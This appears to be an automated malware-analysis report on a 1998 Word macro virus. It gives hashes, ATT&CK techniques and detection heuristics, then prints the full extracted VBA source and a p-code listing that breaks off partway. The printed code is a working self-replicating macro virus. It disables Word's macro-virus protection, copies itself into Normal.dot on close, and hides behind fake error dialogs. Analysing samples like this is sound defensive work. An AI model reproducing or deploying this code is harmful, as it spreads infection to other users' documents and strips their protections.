Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2f766ca7179082ba…

MALICIOUS

Office (OLE)

58.0 KB Created: 1998-03-27 14:38:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ddc59509bc5dc8dc191998a55bffe878 SHA-1: dfd3f7c6af5d9caa127d250d12a65911c9309ec2 SHA-256: 2f766ca7179082baea8d185114cf90d89eee1d1fd5d249675689d71f67814c4c
188 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious OLE document containing legacy WordBasic macro markers and VBA macros, specifically an Auto_Close macro. The macro attempts to copy itself and associated user forms to the Normal template, likely to achieve persistence and spread. The embedded macro also displays a humorous message to the user, indicating a prank or a basic form of malware. The ClamAV detection 'Doc.Trojan.NoChance-2' further confirms its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.NoChance-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.NoChance-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 35847 bytes
SHA-256: 056f5e3ae279668971d6d8fa849a4d5b5b1fd9761e61e996a1da65f8f43ef16d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "WordArtv"
Sub AutoClose()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorAC
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
    If WordBasic.[MacroName$](i, 0) = "WordArtV" Then
        bInstalled = -1
    End If
Next i
If Not bInstalled Then
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="WordArtV", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm900", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm999", Object:=wdOrganizerObjectProjectItems
    StatusBar = "Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
    For i = 1 To 400000
    Next i
    StatusBar = "       Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
    For i = 1 To 400000
    Next i
    StatusBar = "               Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
    For i = 1 To 400000
    Next i
    StatusBar = "                       Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
    For i = 1 To 400000
    Next i
    StatusBar = "                               Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
    For i = 1 To 400000
    Next i
    StatusBar = "                                       Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
    For i = 1 To 400000
    Next i
    StatusBar = "                                               Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                       Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                               Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                       Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                               Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                       Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                               Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                       Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                               Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                                       Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                                               Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                                                       Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                                                               Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
    For i = 1 To 400000
    Next i
Else
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="WordArtV", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="UserForm900", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="UserForm999", Object:=wdOrganizerObjectProjectItems
End If
ErrorAC:
Dim Valeur, Taille, Choix
Randomize
Valeur = Int(Rnd * 10) + 1
Taille = Int(Rnd * 100) + 20
Choix = Int(Rnd * 10) + 1
L$ = Int(Rnd * 250) + 1
T$ = Int(Rnd + 350) + 1
If Valeur = 1 Then
    a$ = msoTextEffect26
End If
If Valeur = 2 Then
    a = msoTextEffect13
End If
If Valeur = 3 Then
    a$ = msoTextEffect19
End If
If Valeur = 4 Then
    a$ = msoTextEffect8
End If
If Valeur = 5 Then
    a$ = msoTextEffect5
End If
If Valeur = 6 Then
    a$ = msoTextEffect16
End If
If Valeur = 7 Then
    a$ = msoTextEffect26
End If
If Valeur = 8 Then
    a$ = msoTextEffect2
End If
If Valeur = 9 Then
    a$ = msoTextEffect19
End If
If Valeur = 10 Then
    a$ = msoTextEffect29
End If
If (Choix = 1) Or (Choix = 3) Or (Choix = 5) Then
ActiveDocument.Shapes.AddTextEffect PresetTextEffect:=a$, Text:="ZeMacroKiller98", FontName:="Impact", FontSize:=Taille, FontBold:=msoFalse, FontItalic:=msoFalse, Left:=L$, Top:=T$
MsgBox "ZeMacroKiller98 est avec vous...", vbExclamation, "WordArtV"
End If
If (Choix = 2) Or (Choix = 4) Or (Choix = 6) Then
ActiveDocument.Shapes.AddTextEffect PresetTextEffect:=a$, Text:="ZeMacroKiller98", FontName:="Impact", FontSize:=Taille, FontBold:=msoFalse, FontItalic:=msoFalse, Left:=L$, Top:=T$
MsgBox "WordArtV vous a contaminé...", vbExclamation, "ZeMacroKiller98"
End If
If (Choix = 1) Or (Choix = 3) Or (Choix = 5) Then
MsgBox "ZeMacroKiller98 et WordArtV vous remercie...", vbInformation, "HAHAHAHAHA!"
End If
ActiveDocument.Save
End Sub
Sub FileSaveAs()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFSA
    Dialogs(wdDialogFileSaveAs).Show
    If (ActiveDocument.SaveFormat = wdFormatDocument) Or (ActiveDocument.SaveFormat = wdFormatTemplate) Then
        ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
    End If
ErrorFSA:
End Sub
Sub FileTemplates()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFT
    UserForm900.Show
ErrorFT:
End Sub
Sub ToolsMacro()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorTM
    UserForm999.Show
ErrorTM:
End Sub
Sub ViewVBCode()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorVVBC
    MsgBox "Ce programme a réalisé une opérartion illégale et va être interrompu.", vbCritical, "Microsoft Word"
ErrorVVBC:
End Sub

Attribute VB_Name = "UserForm900"
Attribute VB_Base = "0{636E00D7-C589-11D1-82AD-8C6705C10000}{636E00C6-C589-11D1-82AD-8C6705C10000}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False




Private Sub CommandButton1_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, Title:="Microsoft Word"
Unload UserForm900
End Sub

Private Sub CommandButton2_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, Title:="Microsoft Word"
Unload UserForm900
End Sub

Private Sub CommandButton3_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, Title:="Microsoft Word"
Unload UserForm900
End Sub

Private Sub CommandButton4_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, Title:="Microsoft Word"
Unload UserForm900
End Sub

Private Sub CommandButton5_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, Title:="Microsoft Word"
Unload UserForm900
End Sub

Private Sub CommandButton6_Click()
Unload UserForm900
End Sub

Private Sub UserForm_Initialize()
    TextBox1.Text = NormalTemplate.Name
    CommandButton2.Enabled = False
    CommandButton3.Enabled = False
    CommandButton4.Enabled = False
End Sub

Attribute VB_Name = "UserForm999"
Attribute VB_Base = "0{636E00DB-C589-11D1-82AD-8C6705C10000}{636E00D0-C589-11D1-82AD-8C6705C10000}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False








Private Sub ListBox1_Click()
    If ListBox1.Selected(0) = True Then
        CommandButton1.Enabled = True
        CommandButton3.Enabled = True
        CommandButton4.Enabled = True
        CommandButton6.Enabled = True
    ElseIf ListBox1.Selected(1) = True Then
        CommandButton1.Enabled = True
        CommandButton3.Enabled = True
        CommandButton4.Enabled = True
        CommandButton6.Enabled = True
    Else
        CommandButton1.Enabled = False
        CommandButton3.Enabled = False
        CommandButton4.Enabled = False
        CommandButton6.Enabled = False
    End If
End Sub

Private Sub UserForm_Initialize()
    ComboBox1.AddItem "Commande Word"
    ComboBox1.AddItem "Tous les modèles actifs"
    ComboBox1.AddItem "Normal.dot (modèle global)"
    ComboBox1.AddItem WordBasic.WindowName$()
    CommandButton1.Enabled = False
    CommandButton3.Enabled = False
    TextBox2.Text = "Macro créée le " & Date & " par " & Application.UserName
End Sub

Private Sub CommandButton1_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub
Private Sub CommandButton2_Click()
Unload UserForm999
End Sub

Private Sub CommandButton3_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub

Private Sub CommandButton4_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub

Private Sub CommandButton5_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub

Private Sub CommandButton6_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub

Private Sub CommandButton7_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub
Private Sub ScrollBar1_Change()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub


' Processing file: /tmp/qstore_yxopt0xl
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/WordArtv - 12129 bytes
' Line #0:
' 	FuncDefn (Sub AutoClose())
' Line #1:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #2:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #3:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #4:
' 	OnError ErrorAC 
' Line #5:
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0002 
' 	St iMacroCount 
' Line #6:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld iMacroCount 
' 	For 
' Line #7:
' 	Ld i 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0002 
' 	LitStr 0x0008 "WordArtV"
' 	Eq 
' 	IfBlock 
' Line #8:
' 	LitDI2 0x0001 
' 	UMi 
' 	St bInstalled 
' Line #9:
' 	EndIfBlock 
' Line #10:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #11:
' 	Ld bInstalled 
' 	Not 
' 	IfBlock 
' Line #12:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0008 "WordArtV"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #13:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000B "UserForm900"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #14:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000B "UserForm999"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #15:
' 	LitStr 0x0049 "Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
' 	St StatusBar 
' Line #16:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #17:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #18:
' 	LitStr 0x0050 "       Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
' 	St StatusBar 
' Line #19:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #20:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #21:
' 	LitStr 0x0058 "               Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
' 	St StatusBar 
' Line #22:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #23:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #24:
' 	LitStr 0x0060 "                       Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
' 	St StatusBar 
' Line #25:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #26:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #27:
' 	LitStr 0x0068 "                               Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
' 	St StatusBar 
' Line #28:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #29:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #30:
' 	LitStr 0x0070 "                                       Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
' 	St StatusBar 
' Line #31:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #32:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #33:
' 	LitStr 0x0078 "                                               Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
' 	St StatusBar 
' Line #34:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #35:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #36:
' 	LitStr 0x0080 "                                                       Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
' 	St StatusBar 
' Line #37:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #38:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #39:
' 	LitStr 0x0088 "                                                               Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
' 	St StatusBar 
' Line #40:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #41:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #42:
' 	LitStr 0x0090 "                                                                       Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
' 	St StatusBar 
' Line #43:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #44:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #45:
' 	LitStr 0x0098 "                                                                               Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
' 	St StatusBar 
' Line #46:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #47:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #48:
' 	LitStr 0x00A0 "                                                                                       Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
' 	St StatusBar 
' Line #49:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #50:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #51:
' 	LitStr 0x00A8 "                                                                                               Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
' 	St StatusBar 
' Line #52:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #53:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #54:
' 	LitStr 0x00B0 "                                                                                                       Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
' 	St StatusBar 
' Line #55:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #56:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #57:
' 	LitStr 0x00B8 "                                                                                                               Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
' 	St StatusBar 
' Line #58:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #59:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #60:
' 	LitStr 0x00C0 "                                                                                                                       Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
' 	St StatusBar 
' Line #61:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #62:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #63:
' 	LitStr 0x00C8 "                                                                                                                               Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
' 	St StatusBar 
' Line #64:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #65:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #66:
' 	LitStr 0x00D0 "                                                                                                                                       Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
' 	St StatusBar 
' Line #67:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #68:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #69:
' 	LitStr 0x00D8 "                                                                                                                                               Vous allez connaître WordArtV et son auteur: ZeMacroKiller98, HAHAHAHAHA!"
' 	St StatusBar 
' Line #70:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI4 0x1A80 0x0006 
' 	For 
' Line #71:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #72:
' 	ElseBlock 
' Line #73:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0008 "WordArtV"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #74:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000B "UserForm900"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #75:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000B "UserForm999"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #76:
' 	EndIfBlock 
' Line #77:
' 	Label ErrorAC 
' Line #78:
' 	Dim 
' 	VarDefn Valeur
' 	VarDefn Taille
' 	VarDefn Choix
' Line #79:
' 	ArgsCall Read 0x0000 
' Line #80:
' 	Ld Rnd 
' 	LitDI2 0x000A 
' 	Mul 
' 	FnInt 
' 	LitDI2 0x0001 
' 	Add 
' 	St Valeur 
' Line #81:
' 	Ld Rnd 
' 	LitDI2 0x0064 
' 	Mul 
' 	FnInt 
' 	LitDI2 0x0014 
' 	Add 
' 	St Taille 
' Line #82:
' 	Ld Rnd 
' 	LitDI2 0x000A 
' 	Mul 
' 	FnInt 
' 	LitDI2 0x0001 
' 	Add 
' 	St Choix 
' Line #83:
' 	Ld Rnd 
' 	LitDI2 0x00FA 
' 	Mul 
' 	FnInt 
' 	LitDI2 0x0001 
' 	Add 
' 	St L$ 
' Line #84:
' 	Ld Rnd 
' 	LitDI2 0x015E 
' 	Add 
' 	FnInt 
' 	LitDI2 0x0001 
' 	Add 
' 	St T$ 
' Line #85:
' 	Ld Valeur 
' 	LitDI2 0x0001 
' 	Eq 
' 	IfBlock 
' Line #86:
' 	Ld msoTextEffect26 
' 	St a$ 
' Line #87:
' 	EndIfBlock 
' Line #88:
' 	Ld Valeur 
' 	LitDI2 0x0002 
' 	Eq 
' 	IfBlock 
' Line #89:
' 	Ld msoTextEffect13 
' 	St a 
' Line #90:
' 	EndIfBlock 
' Line #91:
' 	Ld Valeur 
' 	LitDI2 0x0003 
' 	Eq 
' 	IfBlock 
' Line #92:
' 	Ld msoTextEffect19 
' 	St a$ 
' Line #93:
' 	EndIfBlock 
' Line #94:
' 	Ld Valeur 
' 	LitDI2 0x0004 
' 	Eq 
' 	IfBlock 
' Line #95:
' 	Ld msoTextEffect8 
' 	St a$ 
' Line #96:
' 	EndIfBlock 
' Line #97:
' 	Ld Valeur 
' 	LitDI2 0x0005 
' 	Eq 
' 	IfBlock 
' Line #98:
' 	Ld msoTextEffect5 
' 	St a$ 
' Line #99:
' 	EndIfBlock 
' Line #100:
' 	Ld Valeur 
' 	LitDI2 0x0006 
' 	Eq 
' 	IfBlock 
' Line #101:
' 	Ld msoTextEffect16 
' 	St a$ 
' Line #102:
' 	EndIfBlock 
' Line #103:
' 	Ld Valeur 
' 	LitDI2 0x0007 
' 	Eq 
' 	IfBlock 
' Line #104:
' 	Ld msoTextEffect26 
' 	St a$ 
' Line #105:
' 	EndIfBlock 
' Line #106:
' 	Ld Valeur 
' 	LitDI2 0x0008 
' 	Eq 
' 	IfBlock 
' Line #107:
' 	Ld msoTextEffect2 
' 	St a$ 
' Line #108:
' 	EndIfBlock 
' Line #109:
' 	Ld Valeur 
' 	LitDI2 0x0009 
' 	Eq 
' 	IfBlock 
' Line #110:
' 	Ld msoTextEffect19 
' 	St a$ 
' Line #111:
' 	EndIfBlock 
' Line #112:
' 	Ld Valeur 
' 	LitDI2 0x000A 
' 	Eq 
' 	IfBlock 
' Line #113:
' 	Ld msoTextEffect29 
' 	St a$ 
' Line #114:
' 	EndIfBlock 
' Line #115:
' 	Ld Choix 
' 	LitDI2 0x0001 
' 	Eq 
' 	Paren 
' 	Ld Choix 
' 	LitDI2 0x0003 
' 	Eq 
' 	Paren 
' 	Or 
' 	Ld Choix 
' 	LitDI2 0x0005 
' 	Eq 
' 	Paren 
' 	Or 
' 	IfBlock 
' Line #116:
' 	Ld a$ 
' 	ParamNamed PresetTextEffect 
' 	LitStr 0x000F "ZeMacroKiller98"
' 	ParamNamed Then 
' 	LitStr 0x0006 "Impact"
' 	ParamNamed FontName 
' 	Ld Taille 
' 	ParamNamed FontSize 
' 	Ld msoFalse 
' 	ParamNamed FontBold 
' 	Ld msoFalse 
' 	ParamNamed FontItalic 
' 	Ld L$ 
' 	ParamNamed LBound 
' 	Ld T$ 
' 	ParamNamed Top 
' 	Ld ActiveDocument 
' 	MemLd Shapes 
' 	ArgsMemCall AddTextEffect 0x0008 
' Line #117:
' 	LitStr 0x0020 "ZeMacroKiller98 est avec vous..."
' 	Ld vbExclamation 
' 	LitStr 0x0008 "WordArtV"
' 	ArgsCall MsgBox 0x0003 
' Line #118:
' 	EndIfBlock 
' Line #119:
' 	Ld Choix 
' 	LitDI2 0x0002 
' 	Eq 
' 	Paren 
' 	Ld Choix 
' 	LitDI2 0x0004 
' 	Eq 
' 	Paren 
' 	Or 
' 	Ld Choix 
' 	LitDI2 0x0006 
' 	Eq 
' 	Paren 
' 	Or 
' 	IfBlock 
' Line #120:
' 	Ld a$ 
' 	ParamNamed PresetTextEffect 
' 	LitStr 0x000F "ZeMacroKiller98"
' 	ParamNamed Then 
' 	LitStr 0x0006 "Impact"
' 	ParamNamed FontName 
' 	Ld Taille 
' 	ParamNamed FontSize 
' 	Ld msoFalse 
' 	ParamNamed FontBold 
' 	Ld msoFalse 
' 	ParamNamed FontItalic 
' 	Ld L$ 
' 	ParamNamed LBound 
' 	Ld T$ 
' 	ParamNamed Top 
' 	Ld ActiveDocument 
' 	MemLd Shapes 
' 	ArgsMemCall AddTextEffect 0x0008 
' Line #121:
' 	LitStr 0x001C "WordArtV vous a contaminé..."
' 	Ld vbExclamation 
